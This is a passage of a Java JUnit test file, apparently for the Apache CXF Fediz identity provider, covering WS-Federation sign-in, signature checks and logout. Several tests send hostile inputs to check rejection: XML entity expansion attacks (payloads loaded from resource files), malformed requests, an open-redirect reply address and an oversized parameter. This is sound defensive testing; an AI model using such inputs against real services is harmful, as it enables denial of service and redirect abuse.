final XmlPage rpPage = webClient.getPage(url);
final String xmlContent = rpPage.asXml();
Assert.assertTrue(xmlContent.startsWith("<md:EntityDescriptor"));
// Now validate the Signature
Document doc = rpPage.getXmlDocument();
doc.getDocumentElement().setIdAttributeNS(null, "ID", true);
Node signatureNode =
DOMUtils.getChild(doc.getDocumentElement(), "Signature");
Assert.assertNotNull(signatureNode);
XMLSignature signature = new XMLSignature((Element)signatureNode, "");
KeyInfo ki = signature.getKeyInfo();
Assert.assertNotNull(ki);
Assert.assertNotNull(ki.getX509Certificate());
Assert.assertTrue(signature.checkSignatureValue(ki.getX509Certificate()));
webClient.close();
}
// Send an unknown wreq value
@org.junit.Test
public void testBadWReq() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String testWReq =
"<RequestSecurityToken xmlns=\"http://docs.oasis-open.org/ws-sx/ws-trust/200512\">"
+ "<TokenType>http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV3.0</TokenType>"
+ "</RequestSecurityToken>";
url += "&wreq=" + URLEncoder.encode(testWReq, "UTF-8");
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreq value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send an entity expansion attack for the wreq value
@org.junit.Test
public void testEntityExpansionWReq() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
InputStream is = this.getClass().getClassLoader().getResource("entity_wreq.xml").openStream();
String entity = IOUtils.toString(is, "UTF-8");
is.close();
String validWreq =
"<RequestSecurityToken xmlns=\"http://docs.oasis-open.org/ws-sx/ws-trust/200512\">"
+ "<TokenType>&m;http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0</TokenType>"
+ "</RequestSecurityToken>";
url += "&wreq=" + URLEncoder.encode(entity + validWreq, "UTF-8");
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreq value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send an entity expansion attack for the wreq value
@org.junit.Test
public void testEntityExpansionWReq2() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
InputStream is = this.getClass().getClassLoader().getResource("entity_wreq2.xml").openStream();
String entity = IOUtils.toString(is, "UTF-8");
is.close();
String validWreq =
"<RequestSecurityToken xmlns=\"http://docs.oasis-open.org/ws-sx/ws-trust/200512\">"
+ "<TokenType>&m;http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0</TokenType>"
+ "</RequestSecurityToken>";
url += "&wreq=" + URLEncoder.encode(entity + validWreq, "UTF-8");
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreq value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send an malformed wreq value
@org.junit.Test
public void testMalformedWReq() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String testWReq =
"<RequestSecurityToken xmlns=\"http://docs.oasis-open.org/ws-sx/ws-trust/200512\">"
+ "<TokenTypehttp://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0</TokenType>"
+ "</RequestSecurityToken>";
url += "&wreq=" + URLEncoder.encode(testWReq, "UTF-8");
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreq value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send an unknown wa value
@org.junit.Test
public void testBadWa() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin2.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wa value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send an unknown whr value
@org.junit.Test
public void testBadWHR() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A-xyz";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad whr value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 500);
}
webClient.close();
}
// Send an unknown wtrealm value
@org.junit.Test
public void testBadWtRealm() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld-xyz";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wtrealm value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send an malformed wreply value
@org.junit.Test
public void testMalformedWReply() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "/localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreply value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send a bad wreply value
@org.junit.Test
public void testBadWReply() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://www.apache.org:" + getRpHttpsPort() + "/"
+ getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreply value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
@org.junit.Test
public void testValidWReplyWrongApplication() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld2";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreply value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
@org.junit.Test
public void testWReplyExactMatchingSuccess() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld3";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
webClient.getPage(url);
webClient.close();
}
@org.junit.Test
public void testWReplyExactMatchingFailure() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld3";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName()
+ "/secure/fedservlet/blah";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreply value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
@org.junit.Test
public void testNoEndpointAddressOrConstraint() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld4";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
// This is an error in the IdP
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreply value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send a bad wreply value. This will pass the reg ex validation but fail the commons-validator
// validation
@org.junit.Test
public void testWReplyWithDoubleSlashes() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName()
+ "/secure//fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreply value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send a query parameter that's too big
@org.junit.Test
public void testLargeQueryParameterRejected() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
StringBuilder sb = new StringBuilder("https://localhost:" + getRpHttpsPort() + "/"
+ getServletContextName() + "/secure/fedservlet");
for (int i = 0; i < 100; i++) {
sb.append("aaaaaaaaaa");
}
url += "&wreply=" + sb.toString();
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
try {
webClient.getPage(url);
Assert.fail("Failure expected on a bad wreply value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
// Send a query parameter that's bigger than the accepted default, but is allowed by configuration
@org.junit.Test
public void testLargeQueryParameterAccepted() throws Exception {
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
StringBuilder sb = new StringBuilder("https://localhost:" + getRpHttpsPort()
+ "/" + getServletContextName() + "/secure/fedservlet");
for (int i = 0; i < 50; i++) {
sb.append("aaaaaaaaaa");
}
url += "&wreply=" + sb.toString();
String user = "alice";
String password = "ecila";
final WebClient webClient = new WebClient();
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
webClient.getPage(url);
webClient.close();
}
@Test
public void testIdPLogout() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT;
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
idpPage = webClient.getPage(idpLogoutUrl);
Assert.assertEquals("IDP SignOut Confirmation Response Page", idpPage.getTitleText());
HtmlForm form = idpPage.getFormByName("signoutconfirmationresponseform");
HtmlSubmitInput button = form.getInputByName("_eventId_submit");
button.click();
webClient.close();
// 3. now we try to access the idp without authentication but with the existing cookies
// to see if we are really logged out
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getOptions().setThrowExceptionOnFailingStatusCode(false);
idpPage = webClient.getPage(url);
Assert.assertEquals(401, idpPage.getWebResponse().getStatusCode());
webClient.close();
}
@Test
public void testIdPLogoutCleanup() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT_CLEANUP;
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
idpPage = webClient.getPage(idpLogoutUrl);
Assert.assertEquals("IDP SignOut Response Page", idpPage.getTitleText());
webClient.close();
// 3. now we try to access the idp without authentication but with the existing cookies
// to see if we are really logged out
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getOptions().setThrowExceptionOnFailingStatusCode(false);
idpPage = webClient.getPage(url);
Assert.assertEquals(401, idpPage.getWebResponse().getStatusCode());
webClient.close();
}
@Test
public void testIdPLogoutCleanupWithBadWReply() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP using a bad wreply
String badWReply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName()
+ "/secure//fedservlet";
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT_CLEANUP;
idpLogoutUrl += "&wreply=" + badWReply;
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
try {
webClient.getPage(idpLogoutUrl);
Assert.fail("Failure expected on a bad wreply value");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
// 3. now we try to access the idp without authentication but with the existing cookies
// to see if we are really logged out. Even though an error was thrown on a bad wreply, we should still
// be logged out
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getOptions().setThrowExceptionOnFailingStatusCode(false);
idpPage = webClient.getPage(url);
Assert.assertEquals(401, idpPage.getWebResponse().getStatusCode());
webClient.close();
}
@Test
public void testIdPLogoutWithWreplyConstraint() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP
String logoutWReply = "https://localhost:12345";
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT + "&wreply=" + logoutWReply
+ "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
idpPage = webClient.getPage(idpLogoutUrl);
Assert.assertEquals("IDP SignOut Confirmation Response Page", idpPage.getTitleText());
HtmlForm form = idpPage.getFormByName("signoutconfirmationresponseform");
HtmlSubmitInput button = form.getInputByName("_eventId_submit");
button.click();
webClient.close();
// 3. now we try to access the idp without authentication but with the existing cookies
// to see if we are really logged out
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getOptions().setThrowExceptionOnFailingStatusCode(false);
idpPage = webClient.getPage(url);
Assert.assertEquals(401, idpPage.getWebResponse().getStatusCode());
webClient.close();
}
@Test
public void testIdPLogoutWithWreplyBadAddress() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP
String logoutWReply = "https://localhost:12345/badlogout";
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT + "&wreply=" + logoutWReply
+ "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
try {
webClient.getPage(idpLogoutUrl);
Assert.fail("Failure expected on a non-matching wreply address");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
@Test
public void testIdPLogoutWithNoRealm() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP
String logoutWReply = "https://localhost:12345";
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT + "&wreply=" + logoutWReply;
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
try {
webClient.getPage(idpLogoutUrl);
Assert.fail("Failure expected on a non-matching wreply address");
} catch (FailingHttpStatusCodeException ex) {
Assert.assertEquals(ex.getStatusCode(), 400);
}
webClient.close();
}
@Test
public void testIdPLogoutWithWreplyAddress() throws Exception {
// 1. First let's login to the IdP
String url = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?";
url += "wa=wsignin1.0";
url += "&whr=urn:org:apache:cxf:fediz:idp:realm-A";
url += "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld3";
String wreply = "https://localhost:" + getRpHttpsPort() + "/" + getServletContextName() + "/secure/fedservlet";
url += "&wreply=" + wreply;
String user = "alice";
String password = "ecila";
CookieManager cookieManager = new CookieManager();
WebClient webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
webClient.getCredentialsProvider().setCredentials(
new AuthScope("localhost", Integer.parseInt(getIdpHttpsPort())),
new UsernamePasswordCredentials(user, password));
webClient.getOptions().setJavaScriptEnabled(false);
HtmlPage idpPage = webClient.getPage(url);
webClient.getOptions().setJavaScriptEnabled(true);
Assert.assertEquals("IDP SignIn Response Form", idpPage.getTitleText());
webClient.close();
// 2. now we logout from IdP
String logoutWReply = "https://localhost:12345";
String idpLogoutUrl = "https://localhost:" + getIdpHttpsPort() + "/fediz-idp/federation?wa="
+ FederationConstants.ACTION_SIGNOUT + "&wreply=" + logoutWReply
+ "&wtrealm=urn:org:apache:cxf:fediz:fedizhelloworld3";
webClient = new WebClient();
webClient.setCookieManager(cookieManager);
webClient.getOptions().setUseInsecureSSL(true);
idpPage = webClient.getPage(idpLogoutUrl);
Assert.assertEquals("IDP SignOut Confirmation Response Page", idpPage.getTitleText());
